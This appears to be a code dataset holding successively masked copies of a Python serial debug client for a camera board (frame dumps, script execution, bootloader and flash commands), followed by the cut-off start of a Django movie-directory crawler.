31.0).astype(np.uint8)\n g = (((arr & 2016) >> 5) * 255.0 / 63.0).astype(np.uint8)\n b = (((arr & 31) >> 0) * 255.0 / 31.0).astype(np.uint8)\n buff = np.column_stack((r, g, b))\n else:\n try:\n buff = np.asarray(Image.frombuffer('RGB', size[0:2], buff,\n 'jpeg', 'RGB', ''))\n except Exception as e:\n print('JPEG decode error (%s)' % e)\n return None\n if buff.size != size[0] * size[1] * 3:\n return None\n return size[0], size[1], buff.reshape((size[1], size[0], 3))\n\n\ndef exec_script(buf):\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_SCRIPT_EXEC,\n len(buf)))\n __serial.write(buf.encode())\n\n\ndef stop_script():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_SCRIPT_STOP, 0))\n\n\ndef script_running():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD,\n __USBDBG_SCRIPT_RUNNING, 4))\n return struct.unpack('I', __serial.read(4))[0]\n\n\ndef save_template(x, y, w, h, path):\n buf = struct.pack('IIII', x, y, w, h) + path\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_TEMPLATE_SAVE,\n len(buf)))\n __serial.write(buf)\n\n\n<function token>\n<function token>\n\n\ndef get_attr(attr):\n __serial.write(struct.pack('<BBIh', __USBDBG_CMD, __USBDBG_ATTR_READ, 1,\n attr))\n return __serial.read(1)\n\n\n<function token>\n\n\ndef reset_to_bl():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD,\n __USBDBG_SYS_RESET_TO_BL, 0))\n\n\ndef bootloader_start():\n __serial.write(struct.pack('<I', __BOOTLDR_START))\n return struct.unpack('I', __serial.read(4))[0] == __BOOTLDR_START\n\n\ndef bootloader_reset():\n __serial.write(struct.pack('<I', __BOOTLDR_RESET))\n\n\ndef flash_erase(sector):\n __serial.write(struct.pack('<II', __BOOTLDR_ERASE, sector))\n\n\n<function token>\n\n\ndef tx_buf_len():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_TX_BUF_LEN, 4))\n return struct.unpack('I', __serial.read(4))[0]\n\n\n<function token>\n\n\ndef fw_version():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_FW_VERSION, 12))\n return struct.unpack('III', __serial.read(12))\n\n\n<function token>\n\n\ndef arch_str():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_ARCH_STR, 64))\n return __serial.read(64).split('\\x00', 1)[0]\n\n\n<code token>\n", "<import token>\n<assignment token>\n\n\ndef init(port, baudrate=921600, timeout=0.3):\n global __serial\n __serial = serial.Serial(port, baudrate=baudrate, timeout=timeout)\n\n\ndef disconnect():\n global __serial\n try:\n if __serial:\n __serial.close()\n __serial = None\n except:\n pass\n\n\n<function token>\n\n\ndef fb_size():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_FRAME_SIZE,\n __FB_HDR_SIZE))\n return struct.unpack('III', __serial.read(12))\n\n\ndef fb_dump():\n size = fb_size()\n if not size[0]:\n return None\n if size[2] > 2:\n num_bytes = size[2]\n else:\n num_bytes = size[0] * size[1] * size[2]\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_FRAME_DUMP,\n num_bytes))\n buff = __serial.read(num_bytes)\n if size[2] == 1:\n y = np.fromstring(buff, dtype=np.uint8)\n buff = np.column_stack((y, y, y))\n elif size[2] == 2:\n arr = np.fromstring(buff, dtype=np.uint16).newbyteorder('S')\n r = (((arr & 63488) >> 11) * 255.0 / 31.0).astype(np.uint8)\n g = (((arr & 2016) >> 5) * 255.0 / 63.0).astype(np.uint8)\n b = (((arr & 31) >> 0) * 255.0 / 31.0).astype(np.uint8)\n buff = np.column_stack((r, g, b))\n else:\n try:\n buff = np.asarray(Image.frombuffer('RGB', size[0:2], buff,\n 'jpeg', 'RGB', ''))\n except Exception as e:\n print('JPEG decode error (%s)' % e)\n return None\n if buff.size != size[0] * size[1] * 3:\n return None\n return size[0], size[1], buff.reshape((size[1], size[0], 3))\n\n\ndef exec_script(buf):\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_SCRIPT_EXEC,\n len(buf)))\n __serial.write(buf.encode())\n\n\ndef stop_script():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_SCRIPT_STOP, 0))\n\n\ndef script_running():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD,\n __USBDBG_SCRIPT_RUNNING, 4))\n return struct.unpack('I', __serial.read(4))[0]\n\n\ndef save_template(x, y, w, h, path):\n buf = struct.pack('IIII', x, y, w, h) + path\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_TEMPLATE_SAVE,\n len(buf)))\n __serial.write(buf)\n\n\n<function token>\n<function token>\n\n\ndef get_attr(attr):\n __serial.write(struct.pack('<BBIh', __USBDBG_CMD, __USBDBG_ATTR_READ, 1,\n attr))\n return __serial.read(1)\n\n\n<function token>\n\n\ndef reset_to_bl():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD,\n __USBDBG_SYS_RESET_TO_BL, 0))\n\n\ndef bootloader_start():\n __serial.write(struct.pack('<I', __BOOTLDR_START))\n return struct.unpack('I', __serial.read(4))[0] == __BOOTLDR_START\n\n\ndef bootloader_reset():\n __serial.write(struct.pack('<I', __BOOTLDR_RESET))\n\n\ndef flash_erase(sector):\n __serial.write(struct.pack('<II', __BOOTLDR_ERASE, sector))\n\n\n<function token>\n\n\ndef tx_buf_len():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_TX_BUF_LEN, 4))\n return struct.unpack('I', __serial.read(4))[0]\n\n\n<function token>\n\n\ndef fw_version():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_FW_VERSION, 12))\n return struct.unpack('III', __serial.read(12))\n\n\n<function token>\n\n\ndef arch_str():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_ARCH_STR, 64))\n return __serial.read(64).split('\\x00', 1)[0]\n\n\n<code token>\n", "<import token>\n<assignment token>\n\n\ndef init(port, baudrate=921600, timeout=0.3):\n global __serial\n __serial = serial.Serial(port, baudrate=baudrate, timeout=timeout)\n\n\ndef disconnect():\n global __serial\n try:\n if __serial:\n __serial.close()\n __serial = None\n except:\n pass\n\n\n<function token>\n\n\ndef fb_size():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_FRAME_SIZE,\n __FB_HDR_SIZE))\n return struct.unpack('III', __serial.read(12))\n\n\n<function token>\n\n\ndef exec_script(buf):\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_SCRIPT_EXEC,\n len(buf)))\n __serial.write(buf.encode())\n\n\ndef stop_script():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_SCRIPT_STOP, 0))\n\n\ndef script_running():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD,\n __USBDBG_SCRIPT_RUNNING, 4))\n return struct.unpack('I', __serial.read(4))[0]\n\n\ndef save_template(x, y, w, h, path):\n buf = struct.pack('IIII', x, y, w, h) + path\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_TEMPLATE_SAVE,\n len(buf)))\n __serial.write(buf)\n\n\n<function token>\n<function token>\n\n\ndef get_attr(attr):\n __serial.write(struct.pack('<BBIh', __USBDBG_CMD, __USBDBG_ATTR_READ, 1,\n attr))\n return __serial.read(1)\n\n\n<function token>\n\n\ndef reset_to_bl():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD,\n __USBDBG_SYS_RESET_TO_BL, 0))\n\n\ndef bootloader_start():\n __serial.write(struct.pack('<I', __BOOTLDR_START))\n return struct.unpack('I', __serial.read(4))[0] == __BOOTLDR_START\n\n\ndef bootloader_reset():\n __serial.write(struct.pack('<I', __BOOTLDR_RESET))\n\n\ndef flash_erase(sector):\n __serial.write(struct.pack('<II', __BOOTLDR_ERASE, sector))\n\n\n<function token>\n\n\ndef tx_buf_len():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_TX_BUF_LEN, 4))\n return struct.unpack('I', __serial.read(4))[0]\n\n\n<function token>\n\n\ndef fw_version():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_FW_VERSION, 12))\n return struct.unpack('III', __serial.read(12))\n\n\n<function token>\n\n\ndef arch_str():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_ARCH_STR, 64))\n return __serial.read(64).split('\\x00', 1)[0]\n\n\n<code token>\n", "<import token>\n<assignment token>\n\n\ndef init(port, baudrate=921600, timeout=0.3):\n global __serial\n __serial = serial.Serial(port, baudrate=baudrate, timeout=timeout)\n\n\ndef disconnect():\n global __serial\n try:\n if __serial:\n __serial.close()\n __serial = None\n except:\n pass\n\n\n<function token>\n\n\ndef fb_size():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_FRAME_SIZE,\n __FB_HDR_SIZE))\n return struct.unpack('III', __serial.read(12))\n\n\n<function token>\n\n\ndef exec_script(buf):\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_SCRIPT_EXEC,\n len(buf)))\n __serial.write(buf.encode())\n\n\ndef stop_script():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_SCRIPT_STOP, 0))\n\n\ndef script_running():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD,\n __USBDBG_SCRIPT_RUNNING, 4))\n return struct.unpack('I', __serial.read(4))[0]\n\n\ndef save_template(x, y, w, h, path):\n buf = struct.pack('IIII', x, y, w, h) + path\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_TEMPLATE_SAVE,\n len(buf)))\n __serial.write(buf)\n\n\n<function token>\n<function token>\n\n\ndef get_attr(attr):\n __serial.write(struct.pack('<BBIh', __USBDBG_CMD, __USBDBG_ATTR_READ, 1,\n attr))\n return __serial.read(1)\n\n\n<function token>\n<function token>\n\n\ndef bootloader_start():\n __serial.write(struct.pack('<I', __BOOTLDR_START))\n return struct.unpack('I', __serial.read(4))[0] == __BOOTLDR_START\n\n\ndef bootloader_reset():\n __serial.write(struct.pack('<I', __BOOTLDR_RESET))\n\n\ndef flash_erase(sector):\n __serial.write(struct.pack('<II', __BOOTLDR_ERASE, sector))\n\n\n<function token>\n\n\ndef tx_buf_len():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_TX_BUF_LEN, 4))\n return struct.unpack('I', __serial.read(4))[0]\n\n\n<function token>\n\n\ndef fw_version():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_FW_VERSION, 12))\n return struct.unpack('III', __serial.read(12))\n\n\n<function token>\n\n\ndef arch_str():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_ARCH_STR, 64))\n return __serial.read(64).split('\\x00', 1)[0]\n\n\n<code token>\n", "<import token>\n<assignment token>\n\n\ndef init(port, baudrate=921600, timeout=0.3):\n global __serial\n __serial = serial.Serial(port, baudrate=baudrate, timeout=timeout)\n\n\ndef disconnect():\n global __serial\n try:\n if __serial:\n __serial.close()\n __serial = None\n except:\n pass\n\n\n<function token>\n\n\ndef fb_size():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_FRAME_SIZE,\n __FB_HDR_SIZE))\n return struct.unpack('III', __serial.read(12))\n\n\n<function token>\n\n\ndef exec_script(buf):\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_SCRIPT_EXEC,\n len(buf)))\n __serial.write(buf.encode())\n\n\ndef stop_script():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_SCRIPT_STOP, 0))\n\n\ndef script_running():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD,\n __USBDBG_SCRIPT_RUNNING, 4))\n return struct.unpack('I', __serial.read(4))[0]\n\n\ndef save_template(x, y, w, h, path):\n buf = struct.pack('IIII', x, y, w, h) + path\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_TEMPLATE_SAVE,\n len(buf)))\n __serial.write(buf)\n\n\n<function token>\n<function token>\n\n\ndef get_attr(attr):\n __serial.write(struct.pack('<BBIh', __USBDBG_CMD, __USBDBG_ATTR_READ, 1,\n attr))\n return __serial.read(1)\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef bootloader_reset():\n __serial.write(struct.pack('<I', __BOOTLDR_RESET))\n\n\ndef flash_erase(sector):\n __serial.write(struct.pack('<II', __BOOTLDR_ERASE, sector))\n\n\n<function token>\n\n\ndef tx_buf_len():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_TX_BUF_LEN, 4))\n return struct.unpack('I', __serial.read(4))[0]\n\n\n<function token>\n\n\ndef fw_version():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_FW_VERSION, 12))\n return struct.unpack('III', __serial.read(12))\n\n\n<function token>\n\n\ndef arch_str():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_ARCH_STR, 64))\n return __serial.read(64).split('\\x00', 1)[0]\n\n\n<code token>\n", "<import token>\n<assignment token>\n\n\ndef init(port, baudrate=921600, timeout=0.3):\n global __serial\n __serial = serial.Serial(port, baudrate=baudrate, timeout=timeout)\n\n\ndef disconnect():\n global __serial\n try:\n if __serial:\n __serial.close()\n __serial = None\n except:\n pass\n\n\n<function token>\n\n\ndef fb_size():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_FRAME_SIZE,\n __FB_HDR_SIZE))\n return struct.unpack('III', __serial.read(12))\n\n\n<function token>\n\n\ndef exec_script(buf):\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_SCRIPT_EXEC,\n len(buf)))\n __serial.write(buf.encode())\n\n\ndef stop_script():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_SCRIPT_STOP, 0))\n\n\ndef script_running():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD,\n __USBDBG_SCRIPT_RUNNING, 4))\n return struct.unpack('I', __serial.read(4))[0]\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef get_attr(attr):\n __serial.write(struct.pack('<BBIh', __USBDBG_CMD, __USBDBG_ATTR_READ, 1,\n attr))\n return __serial.read(1)\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef bootloader_reset():\n __serial.write(struct.pack('<I', __BOOTLDR_RESET))\n\n\ndef flash_erase(sector):\n __serial.write(struct.pack('<II', __BOOTLDR_ERASE, sector))\n\n\n<function token>\n\n\ndef tx_buf_len():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_TX_BUF_LEN, 4))\n return struct.unpack('I', __serial.read(4))[0]\n\n\n<function token>\n\n\ndef fw_version():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_FW_VERSION, 12))\n return struct.unpack('III', __serial.read(12))\n\n\n<function token>\n\n\ndef arch_str():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_ARCH_STR, 64))\n return __serial.read(64).split('\\x00', 1)[0]\n\n\n<code token>\n", "<import token>\n<assignment token>\n\n\ndef init(port, baudrate=921600, timeout=0.3):\n global __serial\n __serial = serial.Serial(port, baudrate=baudrate, timeout=timeout)\n\n\ndef disconnect():\n global __serial\n try:\n if __serial:\n __serial.close()\n __serial = None\n except:\n pass\n\n\n<function token>\n\n\ndef fb_size():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_FRAME_SIZE,\n __FB_HDR_SIZE))\n return struct.unpack('III', __serial.read(12))\n\n\n<function token>\n\n\ndef exec_script(buf):\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_SCRIPT_EXEC,\n len(buf)))\n __serial.write(buf.encode())\n\n\ndef stop_script():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_SCRIPT_STOP, 0))\n\n\ndef script_running():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD,\n __USBDBG_SCRIPT_RUNNING, 4))\n return struct.unpack('I', __serial.read(4))[0]\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef get_attr(attr):\n __serial.write(struct.pack('<BBIh', __USBDBG_CMD, __USBDBG_ATTR_READ, 1,\n attr))\n return __serial.read(1)\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef bootloader_reset():\n __serial.write(struct.pack('<I', __BOOTLDR_RESET))\n\n\ndef flash_erase(sector):\n __serial.write(struct.pack('<II', __BOOTLDR_ERASE, sector))\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef fw_version():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_FW_VERSION, 12))\n return struct.unpack('III', __serial.read(12))\n\n\n<function token>\n\n\ndef arch_str():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_ARCH_STR, 64))\n return __serial.read(64).split('\\x00', 1)[0]\n\n\n<code token>\n", "<import token>\n<assignment token>\n\n\ndef init(port, baudrate=921600, timeout=0.3):\n global __serial\n __serial = serial.Serial(port, baudrate=baudrate, timeout=timeout)\n\n\ndef disconnect():\n global __serial\n try:\n if __serial:\n __serial.close()\n __serial = None\n except:\n pass\n\n\n<function token>\n\n\ndef fb_size():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_FRAME_SIZE,\n __FB_HDR_SIZE))\n return struct.unpack('III', __serial.read(12))\n\n\n<function token>\n\n\ndef exec_script(buf):\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_SCRIPT_EXEC,\n len(buf)))\n __serial.write(buf.encode())\n\n\ndef stop_script():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_SCRIPT_STOP, 0))\n\n\ndef script_running():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD,\n __USBDBG_SCRIPT_RUNNING, 4))\n return struct.unpack('I', __serial.read(4))[0]\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef bootloader_reset():\n __serial.write(struct.pack('<I', __BOOTLDR_RESET))\n\n\ndef flash_erase(sector):\n __serial.write(struct.pack('<II', __BOOTLDR_ERASE, sector))\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef fw_version():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_FW_VERSION, 12))\n return struct.unpack('III', __serial.read(12))\n\n\n<function token>\n\n\ndef arch_str():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_ARCH_STR, 64))\n return __serial.read(64).split('\\x00', 1)[0]\n\n\n<code token>\n", "<import token>\n<assignment token>\n\n\ndef init(port, baudrate=921600, timeout=0.3):\n global __serial\n __serial = serial.Serial(port, baudrate=baudrate, timeout=timeout)\n\n\ndef disconnect():\n global __serial\n try:\n if __serial:\n __serial.close()\n __serial = None\n except:\n pass\n\n\n<function token>\n\n\ndef fb_size():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_FRAME_SIZE,\n __FB_HDR_SIZE))\n return struct.unpack('III', __serial.read(12))\n\n\n<function token>\n\n\ndef exec_script(buf):\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_SCRIPT_EXEC,\n len(buf)))\n __serial.write(buf.encode())\n\n\ndef stop_script():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_SCRIPT_STOP, 0))\n\n\ndef script_running():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD,\n __USBDBG_SCRIPT_RUNNING, 4))\n return struct.unpack('I', __serial.read(4))[0]\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef bootloader_reset():\n __serial.write(struct.pack('<I', __BOOTLDR_RESET))\n\n\ndef flash_erase(sector):\n __serial.write(struct.pack('<II', __BOOTLDR_ERASE, sector))\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef fw_version():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_FW_VERSION, 12))\n return struct.unpack('III', __serial.read(12))\n\n\n<function token>\n<function token>\n<code token>\n", "<import token>\n<assignment token>\n\n\ndef init(port, baudrate=921600, timeout=0.3):\n global __serial\n __serial = serial.Serial(port, baudrate=baudrate, timeout=timeout)\n\n\ndef disconnect():\n global __serial\n try:\n if __serial:\n __serial.close()\n __serial = None\n except:\n pass\n\n\n<function token>\n\n\ndef fb_size():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_FRAME_SIZE,\n __FB_HDR_SIZE))\n return struct.unpack('III', __serial.read(12))\n\n\n<function token>\n\n\ndef exec_script(buf):\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_SCRIPT_EXEC,\n len(buf)))\n __serial.write(buf.encode())\n\n\ndef stop_script():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_SCRIPT_STOP, 0))\n\n\ndef script_running():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD,\n __USBDBG_SCRIPT_RUNNING, 4))\n return struct.unpack('I', __serial.read(4))[0]\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef bootloader_reset():\n __serial.write(struct.pack('<I', __BOOTLDR_RESET))\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef fw_version():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_FW_VERSION, 12))\n return struct.unpack('III', __serial.read(12))\n\n\n<function token>\n<function token>\n<code token>\n", "<import token>\n<assignment token>\n\n\ndef init(port, baudrate=921600, timeout=0.3):\n global __serial\n __serial = serial.Serial(port, baudrate=baudrate, timeout=timeout)\n\n\ndef disconnect():\n global __serial\n try:\n if __serial:\n __serial.close()\n __serial = None\n except:\n pass\n\n\n<function token>\n\n\ndef fb_size():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_FRAME_SIZE,\n __FB_HDR_SIZE))\n return struct.unpack('III', __serial.read(12))\n\n\n<function token>\n<function token>\n\n\ndef stop_script():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_SCRIPT_STOP, 0))\n\n\ndef script_running():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD,\n __USBDBG_SCRIPT_RUNNING, 4))\n return struct.unpack('I', __serial.read(4))[0]\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef bootloader_reset():\n __serial.write(struct.pack('<I', __BOOTLDR_RESET))\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef fw_version():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_FW_VERSION, 12))\n return struct.unpack('III', __serial.read(12))\n\n\n<function token>\n<function token>\n<code token>\n", "<import token>\n<assignment token>\n<function token>\n\n\ndef disconnect():\n global __serial\n try:\n if __serial:\n __serial.close()\n __serial = None\n except:\n pass\n\n\n<function token>\n\n\ndef fb_size():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_FRAME_SIZE,\n __FB_HDR_SIZE))\n return struct.unpack('III', __serial.read(12))\n\n\n<function token>\n<function token>\n\n\ndef stop_script():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_SCRIPT_STOP, 0))\n\n\ndef script_running():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD,\n __USBDBG_SCRIPT_RUNNING, 4))\n return struct.unpack('I', __serial.read(4))[0]\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef bootloader_reset():\n __serial.write(struct.pack('<I', __BOOTLDR_RESET))\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef fw_version():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_FW_VERSION, 12))\n return struct.unpack('III', __serial.read(12))\n\n\n<function token>\n<function token>\n<code token>\n", "<import token>\n<assignment token>\n<function token>\n\n\ndef disconnect():\n global __serial\n try:\n if __serial:\n __serial.close()\n __serial = None\n except:\n pass\n\n\n<function token>\n\n\ndef fb_size():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_FRAME_SIZE,\n __FB_HDR_SIZE))\n return struct.unpack('III', __serial.read(12))\n\n\n<function token>\n<function token>\n\n\ndef stop_script():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_SCRIPT_STOP, 0))\n\n\ndef script_running():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD,\n __USBDBG_SCRIPT_RUNNING, 4))\n return struct.unpack('I', __serial.read(4))[0]\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef bootloader_reset():\n __serial.write(struct.pack('<I', __BOOTLDR_RESET))\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n", "<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n\n\ndef fb_size():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_FRAME_SIZE,\n __FB_HDR_SIZE))\n return struct.unpack('III', __serial.read(12))\n\n\n<function token>\n<function token>\n\n\ndef stop_script():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_SCRIPT_STOP, 0))\n\n\ndef script_running():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD,\n __USBDBG_SCRIPT_RUNNING, 4))\n return struct.unpack('I', __serial.read(4))[0]\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef bootloader_reset():\n __serial.write(struct.pack('<I', __BOOTLDR_RESET))\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n", "<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n\n\ndef fb_size():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_FRAME_SIZE,\n __FB_HDR_SIZE))\n return struct.unpack('III', __serial.read(12))\n\n\n<function token>\n<function token>\n\n\ndef stop_script():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_SCRIPT_STOP, 0))\n\n\ndef script_running():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD,\n __USBDBG_SCRIPT_RUNNING, 4))\n return struct.unpack('I', __serial.read(4))[0]\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n", "<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n\n\ndef fb_size():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_FRAME_SIZE,\n __FB_HDR_SIZE))\n return struct.unpack('III', __serial.read(12))\n\n\n<function token>\n<function token>\n\n\ndef stop_script():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_SCRIPT_STOP, 0))\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n", "<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef stop_script():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_SCRIPT_STOP, 0))\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n", "<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n" ]

[ "import os\nimport json\nimport datetime\nimport re\nimport asyncio\nimport aiohttp\nfrom urllib.request import urlopen\nfrom urllib.parse import urlencode\nfrom django.core.handlers.base import sync_to_async\nfrom django.core.management.base import BaseCommand\nfrom application.models import Movie, NewMovieNotification, MovieDirectory\nfrom django.conf import settings\nfrom django.utils import timezone\nfrom application.resolvers import ResolverSet\n\nMOVIES_EXT = [\n '.mp4',\n '.mkv',\n '.avi',\n '.flv',\n '.mov',\n '.webm',\n]\n\n\nclass Report:\n def __init__(self):\n self.fail = 0\n self.success = 0\n self.poster = 0\n self.start_time = None\n\n def start(self):\n Report.start_time = datetime.datetime.now()\n\n\n def display(self):\n total_time = datetime.datetime.now() - Report.start_time\n total = self.fail + self.success\n if not total:\n print(\"You media directory ({}) does not contain any new film.\".format(list(MovieDirectory.objects.all())))\n return\n print(\"\")\n print(\"Crawler report\")\n print(\"===============\")\n\n print(\"\")\n print(\"Success {:>5} ({:>6.2f}%)\".format(self.success, self.success/total*100))\n print(\"Posters {:>5} ({:>6.2f}%)\".format(self.poster, self.poster/total*100))\n print(\"Fails {:>5} ({:>6.2f}%)\".format(self.fail, self.fail/total*100))\n\n print(\"\")\n print(\"Total {:>5}\".format(total))\n print(\"Time {}\".format(total_time))\n\n\nclass Crawler:\n\n def __init__(self, cmd, loop, aiohttp_session, report):\n self.command = cmd\n self.loop = loop\n self.aiohttp_session = aiohttp_session\n self.report = report\n self.movies = {m.path: m for m in Movie.objects.all()}\n self.resolver_set = ResolverSet(loop, aiohttp_session)\n\n def queue_update_tasks(self, movie_directory, tasks):\n path = movie_directory.path\n\n for dirname, subdirs, files in os.walk(path):\n for filename in files:\n name, ext = os.path.splitext(filename)\n path = os.path.join(dirname, filename)\n if ext not in 